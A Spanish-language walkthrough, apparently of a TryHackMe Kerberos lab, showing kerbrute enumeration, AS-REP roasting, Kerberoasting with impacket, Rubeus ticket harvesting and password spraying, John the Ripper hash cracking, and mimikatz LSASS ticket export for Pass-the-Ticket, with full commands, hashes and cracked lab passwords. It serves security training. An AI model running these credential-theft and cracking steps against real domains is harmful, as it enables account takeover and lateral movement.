Antes de comenzar con este recorrido practicó y conocer algunas de las herramientas más importantes para el pentesting de Kerberos y AD, te recomiendo que leas el siguiente artículo para comprender cómo funciona el proceso de autenticación en Kerberos y cuales son sus principales actores dentro del mismo.
Kerberos Pre-Authentication Abuse
Nota: en el módulo nos facilitan el diccionario para este primer escenario y nos aconseja agregar el DC a nuestro archivo /etc/hosts para que las herramientas puedan dirigir mejor los ataques y evitar el problema del virtual host.
La primer tarea que nos propone este módulo es enumerar usuarios con
El protocolo Kerberos incluye una característica denominada pre autenticación, cuyo propósito es dificultar ataques offline al exigir al usuario cifrar un timestamp con su clave secreta antes de obtener un Ticket Granting Ticket (TGT). Sin embargo, esta misma característica puede ser aprovechada por atacantes para realizar una enumeración silenciosa de usuarios válidos en un dominio, sin necesidad de autenticación previa.
¿Cómo funciona este ataque?
Durante la fase inicial del protocolo Kerberos, el cliente envía un mensaje AS-REQ al Key Distribution Center (KDC) para solicitar un TGT. Si el usuario solicitado no existe, el KDC responde con el error KDC_ERR_C_PRINCIPAL_UNKNOWN. En cambio, si el usuario sí existe y tiene habilitada la pre autenticación, el KDC responde con un error KRB5_PREAUTH_REQUIRED, indicando que espera un timestamp cifrado para proceder con la autenticación. Esta diferencia de comportamiento permite a un atacante distinguir usuarios válidos de inválidos, sin necesidad de conocer contraseñas ni autenticarse en el dominio.
Kerbrute ejecuta una enumeración de nombres de usuario del dominio sin necesidad de credenciales, basándose únicamente en la respuesta del KDC ante solicitudes AS-REQ sin pre autenticación.
El funcionamiento es simple: la herramienta toma una lista de posibles nombres de usuario (wordlist) y envía una solicitud TGT por cada uno. Si el KDC responde con un error PRINCIPAL UNKNOWN, se descarta el nombre; en cambio, si el error recibido es KRB5_PREAUTH_REQUIRED, se confirma la existencia del usuario.
┌──(root㉿kali)-[/home/kali/Documents/THM/AttackingKerberos]
└─# kerbrute userenum --dc CONTROLLER.local -d CONTROLLER.local User.txt --downgrade --hash-file as-rep_hash
┌──(root㉿kali)-[/home/kali/Documents/THM/AttackingKerberos]
└─# john -w=/usr/share/wordlists/rockyou.txt as-rep_hash
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
P@$$W0rd2 ($krb5asrep$admin2@CONTROLLER.LOCAL)
Password3 ($krb5asrep$23$user3@CONTROLLER.LOCAL)
1g 0:00:00:16 DONE (2025-05-22 17:58) 0.05966g/s 855832p/s 864355c/s 864355C/s 0841079575..*7¡Vamos!
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
📌 Parámetros
Kerbrute
userenum: Indica que se desea realizar enumeración de usuarios.
--dc CONTROLLER.local: Especifica el nombre del controlador de dominio (Domain Controller). Kerbrute necesita saber a qué KDC conectarse.
-d CONTROLLER.local: Define el nombre del dominio Active Directory. Se utiliza internamente para armar las solicitudes Kerberos.
User.txt: Es una lista de posibles nombres de usuario. El script enviará solicitudes para cada uno.
--downgrade: Realiza un downgrade de la versión del protocolo Kerberos usada en la solicitud. Este parámetro puede ser útil para explotar controladores de dominio más antiguos o evitar ciertas defensas.
--hash-file as-rep_hash: Si encuentra usuarios sin preautenticación, guarda los hashes AS-REP en este archivo. Estos hashes pueden ser craqueados offline, similar a hashes de contraseñas.
John The Ripper:
john: Invoca el cracker de contraseñas John the Ripper.
-w=/usr/share/wordlists/rockyou.txt: Especifica el diccionario de contraseñas que se usará para intentar descifrar los hashes.
as-rep_hash: Archivo de entrada que contiene los hashes AS-REP obtenidos con Kerbrute
Harvesting Tickets con Rubeus
📌¿Qué es el ticket harvesting?
El ticket harvesting es una técnica ofensiva que consiste en recopilar tickets Kerberos (como TGTs o tickets de servicio) que están almacenados en la memoria del sistema, generalmente después de que un usuario ha iniciado sesión y autenticado en el dominio. Esta técnica permite a un atacante capturar tickets válidos para su posterior reutilización en ataques como:
Pass-the-Ticket (PTT)
Overpass-the-Hash
Silver/Golden Ticket attacks
Dado que estos tickets contienen tokens de autenticación válidos, pueden ser utilizados para moverse lateralmente, acceder a servicios o elevar privilegios, si el ticket pertenece a una cuenta con más permisos.
Importante: Esta técnica requiere tener acceso administrativo local en el sistema objetivo, ya que los tickets Kerberos están almacenados en memoria protegida (LSASS) o en cachés accesibles sólo por usuarios con privilegios elevados.
📌¿Qué es Rubeus?
Rubeus es una herramienta pos-explotación para entornos Windows Active Directory, escrita en C#, diseñada para interactuar y manipular el protocolo Kerberos. Fue creada por Will Schroeder y forma parte del arsenal habitual de operadores de Red Team.
Entre sus funcionalidades más destacadas se encuentran:
Cosecha de tickets (TGT y TGS) desde la memoria del sistema
Solicitud de TGTs o TGSs
Inyección de tickets (Pass-the-Ticket)
Solicitud de tickets sin preautenticación (AS-REP Roasting)
Solicitudes de tickets para delegación
Cracking y descifrado de hashes Kerberos
¿Qué hace la función harvest en Rubeus?
La función harvest de Rubeus permite recolectar automáticamente todos los tickets Kerberos activos en el sistema donde se ejecuta, extrayéndolos desde la caché del sistema y permitiendo su almacenamiento en archivos .kirbi para reutilizarlos en otros ataques.
Este módulo es útil en escenarios donde:
Ya se comprometió un host (por ejemplo, mediante ejecución remota o shell administrativa)
Se desea extraer tickets sin interactuar directamente con LSASS
¿Para qué se usan los tickets recolectados?
Los tickets obtenidos con Rubeus pueden ser usados para:
Pass-the-Ticket: inyectar un ticket en otro proceso o máquina y suplantar la identidad del usuario original.
Reconocimiento de privilegios: al revisar los atributos del ticket (SID, grupos, PAC), puede determinarse si es una cuenta privilegiada.
Movimientos laterales: usando tickets para acceder a recursos de red o autenticarse en otros sistemas sin necesidad de contraseñas.
La segunda tarea que se nos propone es recolectar tickets Kerberos del equipo objetivo. Para hacer esto nos dan acceso al equipo por RDP con las siguientes credenciales:
Nombre de usuario: Administrador
Contraseña: P@$$W0rd
Domain: controller.local
┌──(root㉿kali)-[/home/kali/Documents/THM/AttackingKerberos]
└─# rdesktop -u Administrator -p 'P@$$W0rd' -d controller.local 10.10.52.78
Autoselecting keyboard map 'en-us' from locale
ATTENTION! The server uses and invalid security certificate which can not be trusted for
the following identified reasons(s);
El equipo objetivo ya tiene instalado Rubeus para que podamos realizar el ataque desde la cmd sin tener que cargar el binario al equipo previamente.
Y de esta forma obtuvimos el TGT de los usuarios CONTROLLER-1$@CONTROLLER.LOCAL y Administrator@CONTROLLER.LOCAL
¿Qué se puede y que no se puede hacer con un TGT?
No podés crackearlo como si fuera un hash de Kerberos RC4-HMAC.
No podés extraer la contraseña directamente del ticket porque desconocemos cual es la clave del KDC.
No sirve para bruteforce porque nunca sabremos si lo que se descifró es correcto (no hay contenido predecible).
Se podría intentar un Pass-the-Ticket
Password-Spraying con Rubeus
📌¿Qué es Password Spraying?
El password spraying es una técnica de ataque que consiste en probar una sola contraseña común contra muchos usuarios del dominio, en lugar de probar muchas contraseñas contra un solo usuario (fuerza bruta tradicional). Esto es útil para evadir políticas de bloqueo de cuentas, ya que se mantiene por debajo del umbral de intentos fallidos por usuario. Con esta técnica intentaremos descubrir credenciales válidas sin activar defensas como el account lockout y obtener un TGT válido que pueda usarse en ataques Kerberos (Pass-the-Ticket, Kerberoasting, etc).
Lo primero que vamos a hacer es agregar el nombre de dominio al /etc/hosts del equipo windows para que Rubeus lo resuelva correctamente. Luego usaremos la contraseña que obtuvimos con John para encontrar el usuario al que pertenece.
Y así encontramos el usuario que hace el match con la contraseña User3:Password3
Kerberoasting con Rubeus e Impacket
Tarea 4: Kerberoasting es una técnica de post-explotación en entornos Active Directory que permite a un atacante, con credenciales válidas de cualquier usuario del dominio, extraer tickets de servicio Kerberos (TGS) asociados a cuentas con Service Principal Names (SPN). Esta técnica aprovecha el hecho de que, en Kerberos, los tickets TGS son cifrados por el controlador de dominio utilizando la clave secreta del servicio objetivo, que en el caso de Active Directory corresponde al hash NTLM de la contraseña de la cuenta de servicio. Un atacante autenticado puede solicitar estos tickets sin necesidad de interactuar directamente con el servicio, capturarlos y guardarlos para su posterior análisis.
La viabilidad del ataque radica en que el contenido cifrado del TGS tiene una estructura predecible, lo que permite realizar ataques de diccionario o fuerza bruta de manera offline. Si la contraseña asociada a la cuenta de servicio es débil o predecible, es posible descifrar el ticket y obtener la contraseña en texto claro, sin generar alertas en el dominio.
Si ya estamos dentro del equipo windows, la primer forma de obtener estos hashes desde cmd es con Rubeus de la siguiente forma:
Nota: si al usar el script de impacket tenemos el siguiente error KRB_AP_ERR_SKEW(Clock skew too great) quiere decir que la diferencia de tiempo entre nuestra máquina Kali y el controlador de dominio (DC) es demasiado grande. Kerberos es muy sensible al tiempo, y por defecto solo permite una diferencia de hasta 5 minutos entre cliente y servidor. Entonces para sincronizar nuestro equipo con el DC vamos a usar ntpdate <IP_objetivo>
┌──(root㉿kali)-[/home/kali/Documents/THM/AttackingKerberos]
└─# impacket-GetUserSPNs controller.local/user3:Password3 -dc-ip 10.10.52.78 -request
[-] CCache file is not found. Skipping...
[-] Principal: controller.local\SQLService - Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
[-] Principal: controller.local\HTTPService - Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
┌──(root㉿kali)-[/home/kali/Documents/THM/AttackingKerberos]
└─# ntpdate 10.10.52.78
┌──(root㉿kali)-[/home/kali/Documents/THM/AttackingKerberos]
└─# impacket-GetUserSPNs controller.local/user3:Password3 -dc-ip 10.10.52.78 -request >> hashes.txt
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
----------------------------------------------- ----------- --------------------------------------------------------------- -------------------------- -------------------------- ----------
CONTROLLER-1/SQLService.CONTROLLER.local:30111 SQLService CN=Group Policy Creator Owners,OU=Groups,DC=CONTROLLER,DC=local 2020-05-25 18:28:26.922527 2020-05-25 18:46:42.467441
CONTROLLER-1/HTTPService.CONTROLLER.local:30222 HTTPService 2020-05-25 18:39:17.578393 2020-05-25 18:40:14.671872
[-] CCache file is not found. Skipping...
$krb5tgs$23$*SQLService$CONTROLLER.LOCAL$controller.local/SQLService*$177a413dedb86892862bef1f75c2a1bd$542c66acbc86485d911e042dbb0b0114f92dab85af4010c61934776f3e624c748f8d543d565d1a63592402d74c58e55e5e47eeeb14217cdd552cecfaaa07f4cbdc51429d09420267905e2eaf4eeb0f27e8317eb1501d3cb795b16b814dfb3b50525ba21967d57725a601f21b8935009c21cd04a358761f525a8b171e477ab971d96e13fb71f531398b50553e13f07e687e1772ec5737ed477492855ab1fdf4cd18d9945b4c017173999258b849a690ebb8be2f7345fe51cfe0d52bcf9be4ef7c55b9fa6e8f2c561d7089a99de36fbc66465bc8297468305082a11d5f512acc2b893b73a3554bfab299f4c1ea0aa570203c1bf172512c0a61b203ce73bbf570371fbfb144a9c8930f57113c5a95b09d6e4cd2e1f7cf75b422612105f705ba9f5ca177dc42688167df6de1789c9d7287c584efc3a01dfdf7b592aaf6fb65fc2a14dd6b979058841dd6856ca2a4e5dd2fd3d27a545bb4016dfaef337aa41aeb8547227dab2e95521874dbab9b21568beeea9da1736219ddbb58a8adf35f47c70f3d2fd1a25e33afb9a2227079993b01cc1cbd08c7c2210fdd273cb2faa299b54599fc4b091730f16d8216e203fe6ac541e6170bd3b6cb9a08c470442de11398430ea5cd0e74e9849f827b106a5bbf828bb1113c9007da93ae67abe40847d10e727da406f30e8fa51b2d53c0153bad2794f6b53e9a3d911fded5dd65e9ca0a51d2fe98e322f88935fe253a713c41f853653f2e0ca8c86ce1b145c7e72ecaf787abd55a8f366ded2c63fc372b2056cb0279bfa8a35fd69436575a269f0c81ecd3939de454ddaa90c1ca5c578a2504b7a12da9bd94da0176ea1597f6b78c3230346e7c3af3c9995352b4fed6b7a306116a07acb652cd407dcd491afaf5d5c7787a480ad6ca215145232f592a95882e95216206d9051673e34ae8dd954ab311b0fc8ef73ee3c2e962670393717c1f0358f98b286e1d080dce9e8ce4271257d9ecfaf7e9f90009a09e50114474854b7ba1befbf962a3ba93a24ba73454cde2d918f7cd0dd996d2bb29aaf233fa5478158db6fa2c3ff19780f1447d463ac0038b0820ea4e412b2aa01dc269c587e5e452244dcb8280a0b81cc54b001cbdf0881d3f0d17d4e32d058710826fc22c5a819955bab262d5de4196ce99ef4b06652dc7d4720d986f8f74db1bddb2fdb6cf925c2b61021935e3442a4922904f3fbf5448542fd0060e4c49b3c007f2e5b830002cb0b3891f4e19ca9156b210b8bb7b14ed7b2a676c6611b9c6aa36affe2631216aa30cef6042a87d834b31295fa2c5fd1ecaaae9c5255e66bbfa8cdc304db758e2ccb8d58e4f45cd4bcb46
$krb5tgs$23$*HTTPService$CONTROLLER.LOCAL$controller.local/HTTPService*$b501b67ada487d7e734b7235e0ddbf78$4a0e3c5fb399ecb52f87078ed43e6ce5184bc98455fb8e8989b9e3ca115a0c50b3e929b4db8c94b4b3c78c3c0a504f84c4910055bbf38be003e9183be705cf51b258592d25ed6c0e238b7b04e7c2c18319654709079b5152f1fc665a9d2ed2782dab828475723df95f3a21eaeb0d39e1336dfac2730f8ecf7a1cc690c681ea71584f35415d544f612430e6427d3b52936d627208ad2a308df1bb5c4e0d705872c0e706133b8db3537f955821337a67b76e021898843fc76657d8c9bfefc3b440e66908a86fe86bb3ff966ec31d5f24acaf953f50d8ef3c8bedcacdd53f0dcc15c0040193895355777257c723c81c4630e1bd39da5cd10b2fe5c8fe1585faac2a9010ebe51d4e8875cd9ee76f5122b5c01c62a50408700124a63d4c16072ea8388fd5e76e32a395029ebea5352f97a52711a097bccb4ddb690b884066e80539fb556218a69c7a2e172245f55c4922f2d15aada64c79bffc84966a93319ee25d1baa668c7b284a2c51ef76328918910282c87c8999844e220973a1676bac26598f4fd74ffe8316be87b7bea62dae34522043c5614b38b7af05b3c86bfcfe8b6c2edaec03daec0e6ec310d51a863aa9bb4cdfd6b0a3d0ea648dd8043d30a626e79a9567bfc85efb14614a8cd20b1083c72caca257aad0b296e909384443a0abbe234d685155f4e035b281ced17e55804008a1a4c6ee060898aa668c621d8b286fc70d58f8c76f22e7e15fad80de763f1ccd559d4b36f5840aa2afc05af5cdf2eddd896469e679c25c9d82c9d804e03aa890c23da4c4e8e4963a69e2692a26d63f2640254b207f8cc1676e614b33673a87b314a65a18a12efc34b741a6751670b860716906e2da2d4cf4a30dff7f66abaee8dd2a940bc0dd168187f904fff5c8145e171c23b083eaf887a0a8e4eb1c9b2a90f4ee02007a6f889d5009e94e9d5d5aba861fe513d828a244dda4c154f097435334df9dc3425d22f5598affbe8548020dc3bf6c58fac258386799d14f74748cb45bd2ddc54793e0b095624a6b889c0de3064d3cf941305eee7a6c0887e18aa7a590feea69dd8cdd4a76dc25fc17a39ac8b497fb2ccdfee8e8033ff060d4f4614c0bb1b0209f1f2cfa393f3d9e40d15be6135c53b3730a29470a2be6e847740c7b3c952d8835db3bc57d8ccd4cbbe3379ba23fca598e9f59952c6159430df2f70a5ad2c44191cf6c43b6b9cc7927ffe2fe5034b019c415e5d97fd048984c1e0216fe2bad7fae68d4254e51d6c081dd40b14ede0c96c061fbb79d2e7c9f4e3b7f780b51601d532881c4027bf9c6d90e9ddbe4bfb12e8eef3bbea8e334e1893d70e30c5a765ae58b
┌──(root㉿kali)-[/home/kali/Documents/THM/AttackingKerberos]
└─# john -w=Pass.txt hashes.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Summer2020 (?)
MYPassword123# (?)
2g 0:00:00:00 DONE (2025-05-23 01:38) 100.0g/s 62000p/s 113200c/s 113200C/s paulina..hello123
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
📌 Parámetros
controller.local/user3:Password3
Credenciales válidas para autenticarse contra el controlador de dominio.
controller.local: nombre del dominio.
user3: nombre del usuario del dominio.
Password3: contraseña del usuario.
-dc-ip 10.10.52.78
IP del Domain Controller al que se le envían las peticiones Kerberos.
Especificarlo directamente evita depender del nombre DNS o del descubrimiento automático del DC.
-request
Este parámetro indica que se deben realizar solicitudes TGS reales para las cuentas con SPN encontradas. Es decir, no solo enumera las cuentas, sino que también solicita los tickets cifrados para luego poder crackearlos offline.
>> hashes.txt
Redirección de salida estándar (output) al archivo hashes.txt.
Todo lo que la herramienta imprima en consola (incluyendo los hashes extraídos) se guarda en ese archivo para uso posterior (por ejemplo, con John the Ripper o Hashcat).
Una forma de rastrear objetivos para probar un kerberoasting es usando BloodHound. Si todavía no conoces esta herramienta, te recomiendo que leas el siguiente artículo introductorio
Realizando una recolección de data con SharpHound, podemos visualizar cuentas con SPN y ver si son miembros de grupos como Domain Admins o si tienen privilegios especiales.
En la GUI de BloodHound, podemos buscar la query predefinida: Find Kerberoastable Accounts. Esto nos da una lista de objetivos ideales para Kerberoasting
AS-REP Roasting con impacket-GetNPUsers yRubeus
En un ataque AS-REP Roasting, el atacante explota una debilidad en cuentas de Active Directory que tienen deshabilitada la preautenticación Kerberos. En este escenario, el servidor KDC responde con un mensaje cifrado (AS-REP) utilizando una clave derivada directamente de la contraseña del usuario. Este mensaje puede ser interceptado por un atacante y posteriormente sometido a un ataque de diccionario o fuerza bruta de manera offline. Lo que hace viable este ataque es que el contenido del mensaje cifrado presenta una estructura predecible y estandarizada, lo que permite al atacante verificar si una contraseña probada es correcta basándose en la validez del resultado del descifrado.
En contraste, los tickets TGT (Ticket Granting Ticket) y TGS (Ticket Granting Service) no son vulnerables al mismo tipo de ataque debido a que están cifrados con claves que no dependen del usuario. El TGT es cifrado con la clave secreta del servicio krbtgt, mientras que el TGS lo está con la clave del servicio de destino. Estas claves no están disponibles para el atacante y no es posible derivarlas a partir de contraseñas de usuario, lo que impide verificar offline si una contraseña es correcta. Por lo tanto, aunque un atacante pueda capturar estos tickets, no puede realizar un ataque de fuerza bruta sin acceso a las claves internas del dominio, lo que refuerza la resistencia de Kerberos frente a ciertos vectores de ataque.
┌──(root㉿kali)-[/home/kali/Documents/THM/AttackingKerberos]
└─# impacket-GetNPUsers CONTROLLER.local/ -dc-ip 10.10.188.83 -usersfile User.txt -format john -outputfile tgt_hashes.txt
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
/usr/share/doc/python3-impacket/examples/GetNPUsers.py:165: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] User admin1 doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$admin2@CONTROLLER.LOCAL:375406f441b55f8e0fcec9cd0122b082$fd218dd773a6b4b8c7c56472affbfbe4802b7b3701825783dcf02eb60266cf292639055f299e5e863f25d55b65a27e63ab537d46fd0f6aefc71021cec4d6e7d84788eefeec7581cca6f19c765b52287730f67b26f1575985e7984ce6cd256dc2911c7b55c0ac71e1125537ec4249fede695bd2e3db969f37d6758a15bb77947054a96f18e70eed26e8b87deb7525754a357c239f525602f5d9b1133788f2a850e9621ed2c75ada707aa46b98626e3e26d068306496ebb2e0c7236cef164fa21693e4d23dd59d6037d66ff7afdef9c36a293371371dc72cd0fc85b99045f7717a282955c222455f1e4745d23e541e4ba898cc2451
[-] User administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] User httpservice doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User machine1 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User machine2 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] User sqlservice doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User user1 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User user2 doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$user3@CONTROLLER.LOCAL:3b7fb00875c17702f9dc4ac40c8b6fdb$490e70e9999cace9aa4d91c644334131c01ef2d20333683bf3e656ce2ae6bc6cd1b383af2952ba08bc967e0d119459e3f50a4850fd7654adb1550cd1a988c24e4511e0fb59270b8314fa93966d8c7aef6dae5af5dd47ccc12418ffc922f7401145eb95d2ead55d091fd7e26c033260731bf55a75c05af37e28c6e86cb1e11479ff0e02bc48450847ee23b1141f9a2533a37bf9e20c3e360826f2f4a15e82bfba4e67708941bee1df83964b23cde71474268438eeb943cb4206010ca8840c1b4adb335a168d465529db24ec1427faadbc2efd9c21dea3e4d657fa5ca7f4b42aed437e2bed809d26bd3a5701e518469bff66e368dd
Ahora solo debemos crackear estos hashes con John:
┌──(root㉿kali)-[/home/kali/Documents/THM/AttackingKerberos]
└─# john -w=Pass.txt tgt_hashes.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
P@$$W0rd2 ($krb5asrep$admin2@CONTROLLER.LOCAL)
Password3 ($krb5asrep$user3@CONTROLLER.LOCAL)
2g 0:00:00:00 DONE (2025-05-23 15:15) 100.0g/s 51200p/s 102400c/s 102400C/s diego..moomoo
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Para descargar los hashes usando Rubeus vamos a conectarnos al ssh del equipo objetivo y ejecutarlo desde su cmd
Y así podemos obtener las credenciales de los usuarios Admin2 y User3
Pass the Ticket con mimikatz
Pass-the-Ticket es una técnica de post-explotación utilizada en entornos Windows basados en Active Directory, mediante la cual un atacante puede reutilizar tickets Kerberos legítimos extraídos de la memoria del proceso LSASS (Local Security Authority Subsystem Service). Este proceso, responsable de la gestión de credenciales y autenticaciones, almacena en memoria tickets TGT (Ticket Granting Ticket) y TGS (Ticket Granting Service), así como otros elementos sensibles. Herramientas como Mimikatz permiten extraer estos tickets en formato .kirbi, que pueden ser inyectados posteriormente en otra sesión para suplantar la identidad de un usuario dentro del dominio, sin necesidad de conocer su contraseña. Esta técnica es especialmente útil cuando el ticket capturado pertenece a una cuenta con privilegios elevados, como un administrador de dominio, ya que permite escalar privilegios o realizar movimiento lateral en la red.
El ataque Pass-the-Ticket no implica la creación ni modificación de tickets, sino la reutilización de uno previamente emitido y aún válido, lo que lo convierte en una técnica silenciosa y difícil de detectar si no se cuenta con mecanismos de monitoreo adecuados. Su eficacia depende del acceso inicial a una máquina comprometida desde la cual se pueda extraer la memoria del LSASS, y del hecho de que los tickets de Kerberos suelen permanecer en memoria mientras son válidos. Por tanto, si un atacante consigue obtener un TGT de una cuenta privilegiada, puede usarlo para autenticarse en servicios y recursos dentro del dominio, actuando con los mismos permisos del usuario legítimo.
El equipo objetivo ya tiene instalado Mimikatz para que podamos realizar el ataque desde la cmd sin tener que cargar el binario al equipo previamente. Entonces para realizar esta prueba de concepto primero vamos a conectarnos al ssh del equipo objetivo y ejecutar mimikatz desde el cmd. Luego vamos a habilitar los privilegios de depuración para acceder a la memoria del proceso LSASS, desde donde extraeremos y exportáremos los tickets de Kerberos activos, entre ellos el Ticket Granting Ticket (TGT) perteneciente a la cuenta de administrador del dominio. Posteriormente, inyectamos dicho ticket en la sesión que tenemos en ssh utilizando Mimikatz, lo que nos permite suplantar al administrador sin necesidad de conocer su contraseña. Finalmente, verificamos que el ticket ha sido cargado correctamente mediante el comando klist.
┌──(root㉿kali)-[/home/kali/Documents/THM/AttackingKerberos]
└─# ssh Administrator@10.10.188.83 -o StrictHostKeyChecking=no
Warning: Permanently added '10.10.188.83' (ED25519) to the list of known hosts.
Administrator@10.10.188.83's password: P@$$W0rd
Directory of C:\Users\Administrator\Downloads
05/25/2020 03:45 PM <DIR> .
05/25/2020 03:45 PM <DIR> ..
05/25/2020 03:45 PM 1,263,880 mimikatz.exe
05/25/2020 03:14 PM 212,480 Rubeus.exe
2 File(s) 1,476,360 bytes
2 Dir(s) 50,931,130,368 bytes free
controller\administrator@CONTROLLER-1 C:\Users\Administrator\Downloads>mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 May 19 2020 00:48:59
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::tickets /export
Authentication Id : 0 ; 225810 (00000000:00037212)
Session : NetworkCleartext from 0
User Name : Administrator
Domain : CONTROLLER
Logon Server : CONTROLLER-1
Logon Time : 5/24/2025 3:46:27 PM
SID : S-1-5-21-432953485-3795405108-1502158860-500
* Username : Administrator
* Domain : CONTROLLER.LOCAL
* Password : (null)
Group 0 - Ticket Granting Service
Group 1 - Client Ticket ?
Group 2 - Ticket Granting Ticket
[00000000]
Start/End/MaxRenew: 5/24/2025 3:46:27 PM ; 5/25/2025 1:46:27 AM ; 5/31/2025 3:46:27 PM
Service Name (02) : krbtgt ; CONTROLLER.LOCAL ; @ CONTROLLER.LOCAL
Target Name (02) : krbtgt ; CONTROLLER.LOCAL ; @ CONTROLLER.LOCAL
Client Name (01) : Administrator ; @ CONTROLLER.LOCAL ( CONTROLLER.LOCAL )
Flags 40e10000 : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
Session Key : 0x00000012 - aes256_hmac
092754636d6d5cef13aabaa4909bbedaa4870ba136afcab2b226f4fe09b7812e
Ticket : 0x00000012 - aes256_hmac ; kvno = 2 [...]
* Saved to file [0;37212]-2-0-40e10000-Administrator@krbtgt-CONTROLLER.LOCAL.kirbi !
Authentication Id : 0 ; 60270 (00000000:0000eb6e)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 5/24/2025 3:45:48 PM
SID : S-1-5-90-0-1
* Username : CONTROLLER-1$
* Domain : CONTROLLER.local
* Password : cb 64 41 09 b5 e4 49 80 73 3f fc 59 83 6f a8 78 2f a5 89 f6 b7 a5 7e 45 57 dd 25 bf 44 74 b4 b
a ca 13 12 b6 fe 84 51 72 b5 26 c8 de c9 68 b5 7b ef 6f da 22 21 97 9e 17 4d 83 e4 69 d4 91 41 de b3 61 70 56 a1 68
ba 0a 02 30 87 6d f7 6d fc 9a ca 7c a7 63 56 43 f2 b0 2b 1f 28 e7 f2 47 a1 de 59 dd 60 33 7b 8d cf b4 d2 fa 53 55 ca
b9 a9 be d7 58 29 2c 6b 95 dc 5a b2 b5 d3 96 dc f8 86 59 6a 71 e6 19 ea 81 e0 03 69 45 fa 90 f1 c2 2e 8d 0e f1 51 3
4 4a d4 6b 49 84 04 01 94 6d b8 f7 1b 0f 2e e3 ae 22 b9 96 d7 df 20 2d ae 68 3f 41 fa 48 1e 09 f8 65 8a 43 c6 ed 8d
68 24 b8 a0 20 21 87 16 5d 19 0b c3 ab c1 88 7a 04 0d f5 13 4f 9c e5 15 58 3e 9f 04 2a 53 6f 06 7f 7e b5 6e 6f f9 8e
b4 42 ff c2 50 ff 6f 5a e3 f4 96 2b bd 86 35
Group 0 - Ticket Granting Service
Group 1 - Client Ticket ?
Group 2 - Ticket Granting Ticket
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : CONTROLLER-1$
Domain : CONTROLLER
Logon Server : (null)
Logon Time : 5/24/2025 3:45:46 PM
SID : S-1-5-20
* Username : controller-1$
* Domain : CONTROLLER.local
* Password : cb 64 41 09 b5 e4 49 80 73 3f fc 59 83 6f a8 78 2f a5 89 f6 b7 a5 7e 45 57 dd 25 bf 44 74 b4 b
a ca 13 12 b6 fe 84 51 72 b5 26 c8 de c9 68 b5 7b ef 6f da 22 21 97 9e 17 4d 83 e4 69 d4 91 41 de b3 61 70 56 a1 68
ba 0a 02 30 87 6d f7 6d fc 9a ca 7c a7 63 56 43 f2 b0 2b 1f 28 e7 f2 47 a1 de 59 dd 60 33 7b 8d cf b4 d2 fa 53 55 ca
b9 a9 be d7 58 29 2c 6b 95 dc 5a b2 b5 d3 96 dc f8 86 59 6a 71 e6 19 ea 81 e0 03 69 45 fa 90 f1 c2 2e 8d 0e f1 51 3
4 4a d4 6b 49 84 04 01 94 6d b8 f7 1b 0f 2e e3 ae 22 b9 96 d7 df 20 2d ae 68 3f 41 fa 48 1e 09 f8 65 8a 43 c6 ed 8d
68 24 b8 a0 20 21 87 16 5d 19 0b c3 ab c1 88 7a 04 0d f5 13 4f 9c e5 15 58 3e 9f 04 2a 53 6f 06 7f 7e b5 6e 6f f9 8e
b4 42 ff c2 50 ff 6f 5a e3 f4 96 2b bd 86 35
Group 0 - Ticket Granting Service
